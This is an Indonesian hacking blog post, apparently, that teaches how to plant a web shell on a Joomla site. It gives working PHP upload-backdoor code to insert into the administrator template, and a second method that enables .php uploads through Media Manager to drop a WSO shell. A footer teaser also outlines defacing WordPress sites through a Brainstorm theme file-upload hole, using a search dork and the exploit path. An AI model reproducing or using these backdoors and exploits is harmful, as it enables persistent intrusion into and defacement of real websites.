Skip to main content

Cara nanem Shell di CMS Joomla

Share nih haiker haiker :v , Cara nanem Shell di CMS Joomla.
Ada dua cara sih setau ane, langsung aja ane Share:

Cara Pertama:
Ente login dulu http://localhost/administrator/ :v

kalo udah masuk ke menu Administratornya klik Menu "Template Manager"
kalo udah ente klik "Template" , nohh gambar nyaa, kalo udah Cari Template "Bluestork" yang gambar kek Angsa ituu :v
kalo udah klik "Edit Main Page Template"
Nanti ada kolom kek gitu, nah di Akhir Scriptnya masukin Script ini:
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Sukses Sayang<b><br><br>'; }
else { echo '<b>Gagal Sayang</b><br><br>'; }
}
?>
kalo udah klik Save.
kalo udah Berhasil ke save di bawah kolom itu ada form Upload, nah upload deh Shell ente, klik "Pilih File" terus klik "Upload".
kalo Berhasil ke upload Shellnya ada ada notif nya tuh 'Sukses Sayang' :v
Nah akses Shell nya jadi gini: http://localhost/administrator/NamaShell.php


Cara kedua:
Masuk ke menu Administrator.
Pilih menu "Media Manager"
 kalo udah masuk menu Media Manager klik "Options" yang ada di kanan Atas
Nah di kolom "Legal Extensions (File Types)" tambahin ",php" <= Gak pake kutip, dan itu 'koma' Bukan 'Titik'. kalo udah klik Save.
Scroll kebawah, disitu juga ada form Upload, Upload Shellmu klik Pilih File terus klik Upload.
Tuh kalo Sukses ada notifnya "Update Complete: /wso.php" karna ane upload Shell wso.php
Nahh kalo ini ente akses Shell nya gini: http://localhost/images/namaShell.php.
Okee sekian tutor dari ane, kurang lebihnya ane minta maaf :D

Comments

Popular posts from this blog

How to install CUCM 8.0.2 on Vmware | Call Manager Installation Guide

CUCM is a software-based call-processing component which serves as the main engine for Cisco VOIP infrastructure. This article can be used as a reference for your CUCM installation, This article can be used for any version of CUCM like 8.0, 8.6, 9.1 or 10.5. Let's jump to the installation directly. Make sure you have.. Before we begin, I want to make sure that you have the below softwares installed in your machine. Vmware Workstation Bootable Cisco Unified Call Manager ISO File GNS3 (Optional) - To Configure NTP Server A minimum of 2GB RAM and 80 GB HDD for Virtual Machine At this stage I assume that you have both Vmware Workstation and GNS3 installed. During installation you will be prompted to enter NTP server details. Follow the below steps to make a router to act as a NTP server in GNS3. Open ncpa.cpl from Run window. Find a Vmware network adapter. Double click the adapter and configure a private range IP, for example 120.0.0.1. Next open GNS3, Put a router and take console. Pa...

6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly

Salam sobat GBX nah di pertemuan kita kali ini ane akan membahas 6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly seperti yang anda tau adf.ly adalah url shortener terbaik yang membayar kita karena telah menggunakan jasannya, tapi selain adf.ly ternyata masih banyak lagi Url Shorteners Yang Menghasilkan Uang, sekarang kita lihat saja ulasan di bawah.  6 Url Shorteners Yang Menghasilkan Uang Selain AdF.ly 1. Adfly adf.ly Yup yang ini memang patut diletakkan di peringkat satu ya, Adfly sudah ada dan terpercaya sejak bertahu-tahun lalu dan sudah menjadi pemendek link / url terbaik selama ini.  Selain menyediakan fasilitas penyingkat url, adfly juga merupakan situs penghasil dollar yang sudah sangat terkenal (melalui Pay Per Click dan Referal). Banyak juga teman-teman di internet yang sudah sukses mendapatkan dollar lho. (adfly ini sudah terpercaya dan ya semoga terus aman begitu dech). Komisi yang telah anda dapatkan dari adfly ini bisa langsung di transfer ke pay...

eXploit WP Themes Brainstorm Arbitrary File Upload Vulnerability

Hello World ; Malam Fans, Please Say Hello Haters :* xixixhi, Nuenomaru disini,  Sekarang Nue akan Share   Tutorial Deface dengan eXploit WP Themes Brainstorm Arbitrary File Upload Vulnerability * ini exploit lama sih wkwkw exploit ini salah satu bug/celah yang ada pada theme di CMS WordPress. iseng2 aja share, Kali aja masih  crotz  wkwkw * yg master minggir dlu ;* Lanjut intip tutor ae gaes :* mau sampai kapan ?! Dork: inurl:/wp-content/themes/brainstorm (Selebihnya kebangin lg menggunakan imajinasi vokepers kalian, biar dpt yg vuln n verawan) 1. Dorking di search Engine 2. pilih salah satu web target yg pengen ente tusb0l pak wkwk, lalu masukan exploitnya. exploit: /[path]/ /wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php 3. Vulnerability ~ Blank Kurang lebih sih gituh awkkaw~ 4. Buat File Baru Berekstensi .php Contoh brain.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit dan t...